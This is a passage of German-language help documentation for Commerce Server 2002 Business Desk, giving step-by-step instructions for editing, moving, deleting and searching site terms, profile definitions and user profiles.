  10. Klicken Sie auf Zurück, um zum Bildschirm Benutzer oder Gruppe suchen zurückzukehren.

Die Active Directory-Gruppe wurde der angegebenen Active Directory-Gruppe hinzugefügt. Sie können nun weitere neue Benutzer bzw. Active Directory-Gruppen hinzufügen oder auf ein anderes Modul in Business Desk klicken.

Siehe auch

Entfernen von Benutzern aus Active Directory-Gruppen


Verwalten von Sitebegriffen und Gruppen

Mit dem Sitebegriffs-Editor-Modul werden Sitebegriffe erstellt und aktualisiert. Sitebegriffe werden verwendet, um Auswahlmöglichkeiten bei Benutzereingaben zu standardisieren und einzuschränken und Inhalte zielgerichtet für Benutzer anzubieten. Sie können beispielsweise die Farben einschränken, aus denen die Benutzer bei der Angabe ihrer Lieblingsfarbe wählen können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bearbeiten von Sitebegriffen
  • Löschen eines Begriffs aus den Sitebegriffen
  • Neuanordnen von Sitebegriffen
  • Löschen von Sitebegriffen


Bearbeiten von Sitebegriffen

Mit dem Sitebegriffs-Editor-Modul werden vorhandene Sitebegriffe und Sitebegriffsgruppen bearbeitet.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So bearbeiten Sie einen Sitebegriff

  1. Klicken Sie im Menü Profile auf die Option Sitebegriffs-Editor.
  2. Wählen Sie Bildschirm Sitebegriffs-Editor den Sitebegriff aus, den Sie bearbeiten möchten.

    Hinweis

    • Wird der Sitebegriff in der Liste Sitebegriffstruktur nicht angezeigt, erweitern Sie die Sitebegriffsgruppe mit dem Sitebegriff, den Sie bearbeiten möchten. Wählen Sie anschließend den Sitebegriff aus.
  3. Führen Sie im Bereich Sitebegriffsattribute folgende Schritte aus:
    Funktion | Aktion
    Angezeigter Name | Bearbeiten Sie den angezeigten Sitebegriffsnamen. Der angezeigte Name kann aus maximal 128 Zeichen bestehen.
    Beschreibung | Bearbeiten Sie die Sitebegriffsbeschreibung.

    Hinweis

    • Der angezeigte Name eines Sitebegriffs kann geändert werden, der programmtechnische Name jedoch nicht. Wenn Sie den programmtechnischen Namen eines Sitebegriffs ändern möchten, müssen Sie den Sitebegriff löschen und anschließend einen neuen Sitebegriff mit dem gewünschten Namen erstellen.
  4. Wählen Sie im Bereich Begriffe den Begriff aus, den Sie bearbeiten möchten, und klicken Sie dann auf Bearbeiten.
  5. Bearbeiten Sie den Begriff, und klicken Sie dann auf Annehmen.

    Hinweis

    • Sie können beliebig viele Begriffe bearbeiten. Klicken Sie auf Bearbeiten, um einen weiteren Begriff zu bearbeiten.
  6. Klicken Sie auf Übernehmen, um die an dem Sitebegriff vorgenommenen Änderungen zu übernehmen.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Sitebegriff zu speichern und zum Bildschirm Business Desk zurückzukehren.

Der Sitebegriff wird gespeichert.

Siehe auch

Informationen über Profile

Erstellen eines Sitebegriffs

Erstellen einer Sitebegriffsgruppe

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden

Hinzufügen von Begriffen zu Sitebegriffen


Löschen eines Begriffs aus den Sitebegriffen

Das Löschen von Begriffen erfolgt im Sitebegriffs-Editor-Modul. Sie können z. B. den Begriff "Violett" aus dem Sitebegriff Farbe löschen.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So löschen Sie einen Begriff

  1. Klicken Sie im Menü Profile auf die Option Sitebegriffs-Editor.
  2. Wählen Sie Bildschirm Sitebegriffs-Editor den Sitebegriff aus, aus dem Sie den Begriff löschen möchten.

    Hinweis

    • Wird der Sitebegriff in der Liste Sitebegriffstruktur nicht angezeigt, erweitern Sie die Sitebegriffsgruppe mit dem Sitebegriff, den Sie löschen möchten. Wählen Sie anschließend den Sitebegriff aus.
  3. Wählen Sie im Bereich Begriffe den Begriff aus, den Sie aus der Liste Begriffe löschen möchten, und klicken Sie dann auf Entfernen.

    Der Begriff wird aus der Liste Begriffe gelöscht.

  4. Klicken Sie auf Übernehmen, um die an den Sitebegriffsattributen vorgenommenen Änderungen zu übernehmen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den bearbeiteten Sitebegriff zu speichern und zum Bildschirm Business Desk zurückzukehren.

Der bearbeitete Sitebegriff wird gespeichert.

Siehe auch

Informationen über Profile

Erstellen eines Sitebegriffs

Erstellen einer Sitebegriffsgruppe


Neuanordnen von Sitebegriffen

Mit dem Sitebegriffs-Editor-Modul werden Sitebegriffe und Sitebegriffsgruppen organisiert. Um Sitebegriffe und Gruppen besser organisieren zu können, lassen sie sich in der Liste Sitebegriffstruktur nach oben und nach unten verschieben. Sie können bestimmen, zu welcher Gruppe ein Sitebegriff gehört, indem Sie ihn von einer Gruppe zu einer anderen verschieben. Informationen zur Sitebegriffstruktur und Sitebegriffshierarchie finden Sie unter Erstellen einer Sitebegriffsgruppe.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So verschieben Sie einen Sitebegriff

  1. Klicken Sie im Menü Profile auf die Option Sitebegriffs-Editor.
  2. Wählen Sie auf dem Bildschirm Sitebegriffs-Editor den Sitebegriff oder die Sitebegriffsgruppe aus, den bzw. die Sie verschieben möchten.

    Hinweis

    • Wird der Sitebegriff in der Liste Sitebegriffsstruktur nicht angezeigt, erweitern Sie die Sitebegriffsgruppe mit dem Sitebegriff, den Sie verschieben möchten. Wählen Sie anschließend den Sitebegriff aus.
  3. Klicken Sie auf die Schaltfläche Pfeil nach oben bzw. Pfeil nach unten unterhalb der Liste Sitebegriffstruktur, um den Sitebegriff oder die Gruppe nach oben bzw. unten zu verschieben.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Business Desk zurückzukehren.

Die neue Sitebegriffstruktur wird gespeichert.

Siehe auch

Informationen über Profile

Erstellen eines Sitebegriffs

Erstellen einer Sitebegriffsgruppe


Löschen von Sitebegriffen

Das Löschen von Sitebegriffen und Sitebegriffsgruppen erfolgt mithilfe des Sitebegriffs-Editor-Moduls.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So löschen Sie einen Sitebegriff

  1. Klicken Sie im Menü Profile auf die Option Sitebegriffs-Editor.
  2. Wählen Sie im Bildschirm Sitebegriffs-Editor den Begriff oder die Gruppe aus, den/die Sie löschen möchten, und klicken Sie auf Entfernen.
  3. Klicken Sie im Dialogfeld Löschen auf OK, um den Sitebegriff zu löschen.

    Vorsicht

    • Beim Löschen einer Sitebegriffsgruppe werden alle darin enthaltenen Sitebegriffe ebenfalls gelöscht.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Business Desk zurückzukehren.

Siehe auch

Informationen über Profile

Erstellen eines Sitebegriffs

Erstellen einer Sitebegriffsgruppe


Verwalten von Profildefinitionen

Mithilfe des Moduls "Profil-Designer" können Profileigenschaften verschoben, bearbeitet und gelöscht werden. Sie können entsprechend dem Änderungsbedarf der Benutzer- und Organisationsinformationen die vorhandenen Profildefinitionen bearbeiten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verschieben von Profileigenschaften
  • Bearbeiten von Profileigenschaften
  • Löschen von Eigenschaften aus einer Profildefinition
  • Löschen von Profildefinitionen


Verschieben von Profileigenschaften

Sie können die Profileigenschaften organisieren, indem Sie eine Hierarchie von Eigenschaftsgruppen erstellen. Nachdem Sie die Eigenschaftsgruppen erstellt haben, können Sie die Profileigenschaften mithilfe des Moduls "Profildefinitions-Designer" in Eigenschaftsgruppen verschieben, um die Benutzer- und Organisationsinformationen zu organisieren.

So verschieben Sie eine Profileigenschaft

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit der Eigenschaft aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Profil: Profildefinition in der Liste Eigenschaften die Eigenschaft bzw. Eigenschaftsgruppe aus, die Sie verschieben möchten, und klicken Sie dann unterhalb der Liste Eigenschaften auf die Schaltfläche Pfeil nach oben bzw. Pfeil nach unten, um die Profileigenschaft nach oben bzw. unten zu verschieben.
  4. Klicken Sie auf die Pfeile unterhalb der Sitebegriffsstrukturliste, um den Sitebegriff oder die Gruppe nach oben bzw. nach unten zu verschieben.

    Hinweis

    • Wird die Eigenschaft in der Liste Eigenschaften nicht angezeigt, erweitern Sie die Eigenschaftsgruppe mit der Eigenschaft, die Sie verschieben möchten. Wählen Sie anschließend die Eigenschaft aus.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Profileigenschaften zu speichern und zum Bildschirm Profile zurückzukehren.

Die neue Profileigenschaftsstruktur wird gespeichert.


Bearbeiten von Profileigenschaften

Mithilfe des Moduls "Profildefinitions-Designer" können Sie Profileigenschaften und Eigenschaftsgruppen bearbeiten, die in Profildefinitionen verwendet werden.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So bearbeiten Sie eine Profileigenschaft

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit der Eigenschaft aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Profil: Profildefinition in der Liste Eigenschaften die Eigenschaft oder Eigenschaftsgruppe aus, die Sie bearbeiten möchten.

    Hinweis

    • Wird die Eigenschaft in der Liste Eigenschaften nicht angezeigt, erweitern Sie die Eigenschaftsgruppe mit der Eigenschaft, die Sie bearbeiten möchten. Wählen Sie anschließend die Eigenschaft aus.
  4. Bearbeiten Sie die Attribute der Eigenschaft.

    Hinweis

    • Der Name einer Eigenschaft kann nach der Erstellung nicht mehr bearbeitet werden. Sie können den angezeigten Namen bearbeiten, der eigentliche programmtechnische Name ist jedoch statisch. Wenn Sie den programmtechnischen Namen ändern möchten, müssen Sie die Eigenschaft löschen und mit dem neuen programmtechnischen Namen erneut hinzufügen.
  5. Klicken Sie auf Übernehmen, um die an der Eigenschaft vorgenommenen Änderungen zu übernehmen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die bearbeitete Profildefinition zu speichern und zum Bildschirm Profile zurückzukehren.

Die bearbeitete Profildefinition wird gespeichert. Nachdem Sie eine Eigenschaft in einer Profildefinition bearbeitet haben, veröffentlichen Sie die Änderungen in Ihrer Website. Informationen über das Veröffentlichen von Änderungen finden Sie unter Veröffentlichen von Profildefinitionsänderungen in Ihrer Website.

Siehe auch

Informationen über Profile

Hinzufügen von Eigenschaften zu einer Profildefinition

Hinzufügen einer Eigenschaftsgruppe zu einer Profildefinition

Löschen von Eigenschaften aus einer Profildefinition

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden


Löschen von Eigenschaften aus einer Profildefinition

Das Löschen von Eigenschaften und Eigenschaftsgruppen aus einer Profildefinition erfolgt mithilfe des Moduls "Profildefinitions-Designer". Sie können Eigenschaften löschen, die eingebettete Profildefinitionen enthalten. Das Löschen von Eigenschaftsgruppen, die untergeordnete Eigenschaften enthalten, ist nicht möglich. Zum Löschen solcher Eigenschaftsgruppen müssen Sie zunächst die untergeordneten Eigenschaften aus der Gruppe entfernen.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So löschen Sie eine Eigenschaftsgruppe

So löschen Sie eine Profileigenschaft

So löschen Sie eine Eigenschaftsgruppe

  1. Klicken Sie im Menü Profile auf die Option Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition aus, aus der Sie eine Eigenschaftsgruppe löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie auf dem Bildschirm Profil: Profildefinition die Eigenschaftsgruppe aus, die Sie löschen möchten.
  4. Klicken Sie auf Entfernen.
  5. Klicken Sie im Dialogfeld Löschen auf OK, um die Eigenschaftsgruppe zu löschen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Profile zurückzukehren.

Die bearbeitete Profildefinition wird gespeichert. Nachdem Sie eine Eigenschaftsgruppe in einer Profildefinition gelöscht haben, müssen Sie die Änderungen in Ihrer Website veröffentlichen. Informationen über das Veröffentlichen von Änderungen finden Sie unter Veröffentlichen von Profildefinitionsänderungen in Ihrer Website.

So löschen Sie eine Profileigenschaft

  1. Klicken Sie im Menü Profile auf die Option Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition aus, aus der Sie eine Eigenschaft löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie auf dem Bildschirm Profil: Profildefinition in der Liste Eigenschaften die Eigenschaft aus, die Sie löschen möchten.

    Hinweis

    • Wenn die Eigenschaft in der Liste Eigenschaften nicht angezeigt wird, erweitern Sie die Eigenschaftsgruppe mit der Eigenschaft, die Sie löschen möchten. Wählen Sie anschließend die Eigenschaft aus.
  4. Klicken Sie auf Entfernen.
  5. Klicken Sie im Dialogfeld Löschen auf OK, um die Profileigenschaft zu löschen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Profile zurückzukehren.

Die bearbeitete Profildefinition wird gespeichert. Nachdem Sie eine Eigenschaft in einer Profildefinition gelöscht haben, müssen Sie die Änderungen in Ihrer Website veröffentlichen. Informationen über das Veröffentlichen von Änderungen finden Sie unter Veröffentlichen von Profildefinitionsänderungen in Ihrer Website.

Siehe auch

Informationen über Profile

Hinzufügen von Eigenschaften zu einer Profildefinition

Hinzufügen einer Eigenschaftsgruppe zu einer Profildefinition

Bearbeiten von Profileigenschaften

Verwalten von Sitebegriffen und Gruppen


Löschen von Profildefinitionen

Im Modul "Profildefinitions-Designer" löschen Sie Profildefinitionen. Wenn Sie eine in andere Profildefinitionen eingebettete Profildefinition löschen möchten, müssen Sie zuerst den Verweis löschen. Alle Verweise auf die gelöschte Profildefinition werden aus den Containerprofildefinitionen entfernt. Gelöschte Profildefinitionen können nicht wiederhergestellt werden.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Vorsicht

  • Eine einmal gelöschte Profildefinition kann nicht wiederhergestellt werden.

So löschen Sie eine Profildefinition

So löschen Sie mehrere Profildefinitionen

So löschen Sie eine Profildefinition

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition aus, die Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen.
  3. Klicken Sie zum Löschen der Profildefinition im Dialogfeld Profil löschen auf OK.

Die Profildefinition wird gelöscht und kann nicht mehr wiederhergestellt werden. Wenn Sie eine neue Profildefinition erstellen müssen, wenden Sie sich an Ihren Systemadministrator.

So löschen Sie mehrere Profildefinitionen

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinitionen aus, die Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen.
Hinweis
  • Um alle Profildefinitionen zu löschen, klicken Sie auf Alle auswählen. Um die Auswahl der Profildefinitionen aufzuheben, klicken Sie auf Auswahl aufheben.
  1. Klicken Sie zum Löschen der Profildefinitionen im Dialogfeld Profil löschen auf OK.

Die Profildefinitionen werden gelöscht und können nicht mehr wiederhergestellt werden. Wenn Sie eine neue Profildefinition erstellen müssen, wenden Sie sich an Ihren Systemadministrator.


Verwalten von Benutzerprofilen

Benutzerprofile enthalten Informationen über Benutzer. Mithilfe des Benutzermoduls können Sie Informationen über anonyme und registrierte Benutzer, die Ihre Site besuchen, suchen, ändern und löschen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Suchen eines Benutzerprofils
  • Bearbeiten von Benutzerprofilen
  • Kopieren eines Benutzerprofils
  • Löschen von Benutzerprofilen


Suchen eines Benutzerprofils

Mithilfe des Benutzermoduls können Sie Ihre Website nach einem Benutzerprofil oder einer Gruppe von Benutzerprofilen durchsuchen. Im Bereich Suchen können Sie die Suche mit den Eigenschaften der Profildefinition und den Werten im Profil einschränken. Beispielsweise können Sie nach einem Benutzerprofil suchen, das in der Profileigenschaft Vorname den Wert "Mike" enthält. Die Liste Gefilterte Ansicht unterhalb des Bereichs Suchen enthält alle Benutzerprofile, die den Suchkriterien entsprechen.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So suchen Sie ein Benutzerprofil

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bereich Suchen des Bildschirms Benutzerobjekt in der Dropdownliste Suchen nach Folgendes aus:
Hinweis
  • Wenn der Bereich Suchen nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
Funktion | Aktion
Anmeldename | Suchen eines Benutzerprofils nach dem Anmeldenamen.
E-Mail | Suchen eines Benutzerprofils nach der E-Mail-Adresse.
Nachname | Suchen eines Benutzerprofils nach dem Nachnamen.
Vorname | Suchen eines Benutzerprofils nach dem Vornamen.
Kontostatus | Suchen eines Benutzerprofils nach dem Kontostatus.
Registriert am | Suchen eines Benutzerprofils nach dem Registrierungsdatum des Benutzers.
Flags für die Partnerservicerolle | Suchen eines Benutzerprofils für einen Benutzer mit dem Merkmal Normaler Benutzer oder Administrator.
Zuletzt geändert am | Suchen eines Benutzerprofils, das an einem bestimmten Datum geändert wurde.
Erstellt am | Suchen eines Benutzerprofils, das an einem bestimmten Datum erstellt wurde.
Nach Eigenschaft suchen | Suchen eines Benutzerprofils nach dessen Eigenschaften. Diese Option ermöglicht das Erstellen eines Ausdrucks für die Suche nach einem Benutzerprofil.
Benutzerlisten | Öffnen einer Benutzerliste im Listen-Manager-Modul.
  1. Geben Sie im anschließend angezeigten Eigenschaftswertfeld den betreffenden Wert der ausgewählten Eigenschaften ein (z. B. den Nachnamen oder die E-Mail-Adresse des gesuchten Benutzerprofils), oder treffen Sie in der Dropdownliste eine Auswahl.

    Hinweise

    • Wenn Sie die Suche noch weiter eingrenzen möchten, können Sie in der Dropdownliste Suchen nach den Eintrag Nach Eigenschaft suchen auswählen und einen Ausdruck für die Suche nach einem Benutzerprofil erstellen.
    • Mithilfe eines Platzhalters (*) haben Sie die Möglichkeit, eine beliebige Anzahl von Zeichen in die Suche aufzunehmen. Mit der Zeichenfolge t* wird beispielsweise nach allen Benutzern gesucht, deren Name mit dem Buchstaben "t" beginnt.
  2. Klicken Sie auf Suchen.
Vorsicht
  • Bei der Suche nach Benutzerprofilen ist es wichtig, die Suche anhand von Kriterien zu begrenzen, um die Anzahl von gefundenen Benutzerprofilen einzuschränken. Wenn eine große Zahl von Benutzerprofilen Ihren Suchkriterien entsprechen, können die Ergebnisse die Leistung von Commerce Server Business Desk deutlich beeinträchtigen.

Die Suche wird nun durchgeführt. Ist die Suche erfolgreich, werden die gefundenen Benutzerprofile in der Liste Gefilterte Ansicht angezeigt. Ist die Suche ergebnislos, wird die Meldung Keines der Elemente stimmt mit dem Suchbegriff überein ausgegeben.

Siehe auch

Informationen über Profile

Hinzufügen eines Benutzerprofils

Bearbeiten von Benutzerprofilen

Kopieren eines Benutzerprofils

Löschen von Benutzerprofilen


Erstellen eines Ausdrucks für die Suche nach einem Benutzerprofil

Um die Suche weiter einzugrenzen, können Sie einen Ausdruck erstellen. Ausdrücke sind Zusammenstellungen aus Eigenschaften, Operatoren und Werten, die zu einem Ergebnis ausgewertet werden können. Ein Ausdruck könnte beispielsweise "Benutzertitel ist gleich leitender Angestellter" oder "Organisations-ID ist gleich 3" lauten.

So erstellen Sie einen Ausdruck, um ein Benutzerprofil zu suchen

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bildschirm Benutzerobjekt das Benutzerprofil aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wenn der Bereich Suchen nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
  4. Wählen Sie in der Dropdownliste im Feld Suchen nach den Eintrag Nach Eigenschaft suchen aus.
  5. Klicken Sie im Bereich Suchen auf Neu.
  6. Doppelklicken Sie in der ersten Dropdownliste auf die Eigenschaftsgruppe, und wählen Sie dann die Eigenschaft aus, die Sie für die Suche verwenden möchten.
    Hinweis
    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, welche Bedingungen für die Suche verfügbar sind. Wenn die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge ist, können Sie die folgenden Suchbedingungen wählen: ist gleich, enthält oder beginnt mit. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, stehen die Suchbedingungen ist gleich oder ist ungleich zur Verfügung.
  7. In der zweiten Dropdownliste wählen Sie nun die Suchbedingung aus.
    Hinweis
    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, auf welche Weise Sie die Suchkriterien eingeben. Ist die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge, geben Sie die gesuchte Zeichenfolge in das dritte Feld ein. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, klicken Sie auf die Auslassungsschaltfläche, um das Dialogfeld Wählen Sie einen Sitebegriff aus zu öffnen, und wählen Sie anschließend den gesuchten Begriff aus.
  8. In das dritte Feld geben Sie die Suchkriterien ein oder wählen sie aus.
  9. Klicken Sie auf Übernehmen und dann auf Suchen.

Die Suche wird nun durchgeführt. Ist die Suche erfolgreich, werden die gefundenen Benutzerprofile in der Liste Gefilterte Ansicht angezeigt. Ist die Suche ergebnislos, wird die Meldung Keines der Elemente stimmt mit dem Suchbegriff überein ausgegeben.

Siehe auch

Informationen über Profile

Hinzufügen eines Benutzerprofils

Bearbeiten von Benutzerprofilen

Kopieren eines Benutzerprofils

Löschen von Benutzerprofilen


Suchen von Benutzerprofilen in Adressenlisten

Mit dem Listen-Manager-Modul in Kampagnen können Sie Adressenlisten importieren. Wenn Sie eine Adressenliste in den Listen-Manager importieren, können Sie mithilfe der Suchfunktion des Benutzermoduls Benutzerprofilinstanzen in der Adressenliste suchen. Damit Benutzerprofilinstanzen in der Adressenliste gefunden werden können, müssen die E-Mail-Adressen in der Adressenliste mit den E-Mail-Adressen im Profil Benutzerobjekt übereinstimmen. Wenn Sie die Profilinstanzen gefunden haben, können Sie sie einzeln aktualisieren oder eine Abfrage erstellen, um sie gruppenweise zu aktualisieren.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So suchen Sie Benutzerprofile in Adressenlisten

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bereich Suchen des Bildschirms Benutzerobjekt in der Dropdownliste Suchen nach die Option Benutzerlisten aus.
    Hinweis
    • Wenn der Bereich Suchen nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
  3. Im Bereich Suchen erscheint eine Liste mit Benutzerlisten aus dem Listen-Manager.
  4. Wählen Sie die Benutzerliste aus, in der Sie nach Benutzerprofilen suchen möchten, und klicken Sie dann auf Suchen.

Die Benutzerprofile aus der ausgewählten Benutzerliste werden in der Liste Gefilterte Ansicht angezeigt. Sie können nun die Benutzerprofile einzeln bearbeiten oder eine Aktualisierungsabfrage erstellen, um mehrere Benutzerprofile gleichzeitig zu aktualisieren. Informationen über das Bearbeiten mehrerer Benutzerprofile finden Sie unter Bearbeiten mehrerer Benutzerprofile.

Siehe auch

Bearbeiten eines einzelnen Benutzerprofils

Bearbeiten mehrerer Benutzerprofile


Bearbeiten von Benutzerprofilen

Mithilfe des Benutzermoduls können vorhandene Benutzerprofile bearbeitet werden. Sie können die Benutzerprofile einzeln oder mehrere Benutzerprofile gleichzeitig bearbeiten. Ferner können Sie mithilfe des Benutzermoduls bis zu vier Ebenen von eingebetteten Benutzerprofilen bearbeiten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bearbeiten eines einzelnen Benutzerprofils
  • Bearbeiten mehrerer Benutzerprofile
  • Bearbeiten eines eingebetteten Benutzerprofils


Bearbeiten eines einzelnen Benutzerprofils

Mithilfe des Benutzermoduls können vorhandene Benutzerprofile bearbeitet werden.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Nach dem Migrieren der alten Daten in die neuen Datenbankspalten können Sie die Datenbankspalten löschen. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind. Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist.

So bearbeiten Sie ein Benutzerprofil

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bildschirm Benutzerobjekt das Benutzerprofil aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .

    Hinweis

    • Im oberen Teil des Bildschirms Benutzer finden Sie den Bereich Suchen, mit dem Sie das Profil eines bestimmten Benutzers suchen können. Informationen über das Suchen eines Benutzerprofils finden Sie unter Suchen eines Benutzerprofils.
  3. Bearbeiten Sie das Benutzerprofil im Bildschirm Profil aktualisieren: Benutzerprofil.

    Hinweis

    • Informationen zum Bildschirm Profil aktualisieren: Benutzerprofil finden Sie unter Hinzufügen eines Benutzerprofils.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Profil zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren.

Das bearbeitete Profil wird gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines Benutzerprofils

Kopieren eines Benutzerprofils

Löschen von Benutzerprofilen

Suchen eines Benutzerprofils


Bearbeiten mehrerer Benutzerprofile

Mithilfe des Benutzermoduls können auch mehrere Benutzerprofile bearbeitet werden. Bei der Bearbeitung mehrerer Benutzerprofile nehmen Sie in allen bearbeiteten Profilen die gleichen Änderungen vor. Mithilfe einer Aktualisierungsabfrage wird der Wert einer Eigenschaft in mehreren Benutzerprofilen geändert.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So bearbeiten Sie mehrere Benutzerprofile

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bildschirm Benutzerobjekt die Benutzerprofile aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .

    Hinweise

    • Mithilfe des Bereichs Suchen im oberen Teil des Bildschirms Benutzerobjekt können Sie ein bestimmtes Profil anzeigen. Informationen über das Suchen eines Benutzerprofils finden Sie unter Suchen eines Benutzerprofils.
    • Um alle Benutzerprofile in der Liste Gefilterte Ansicht zu löschen, klicken Sie auf Alle auswählen. Um die Auswahl der Benutzerprofile in der Liste Gefilterte Ansicht aufzuheben, klicken Sie auf Auswahl aufheben.
    • Wenn Sie auf Alle auswählen klicken, um alle Benutzerprofile in der Liste Gefilterte Ansicht auszuwählen, werden nur die Benutzerprofile im aktuellen Bildschirm (maximal 20 Benutzer pro Bildschirm) ausgewählt.
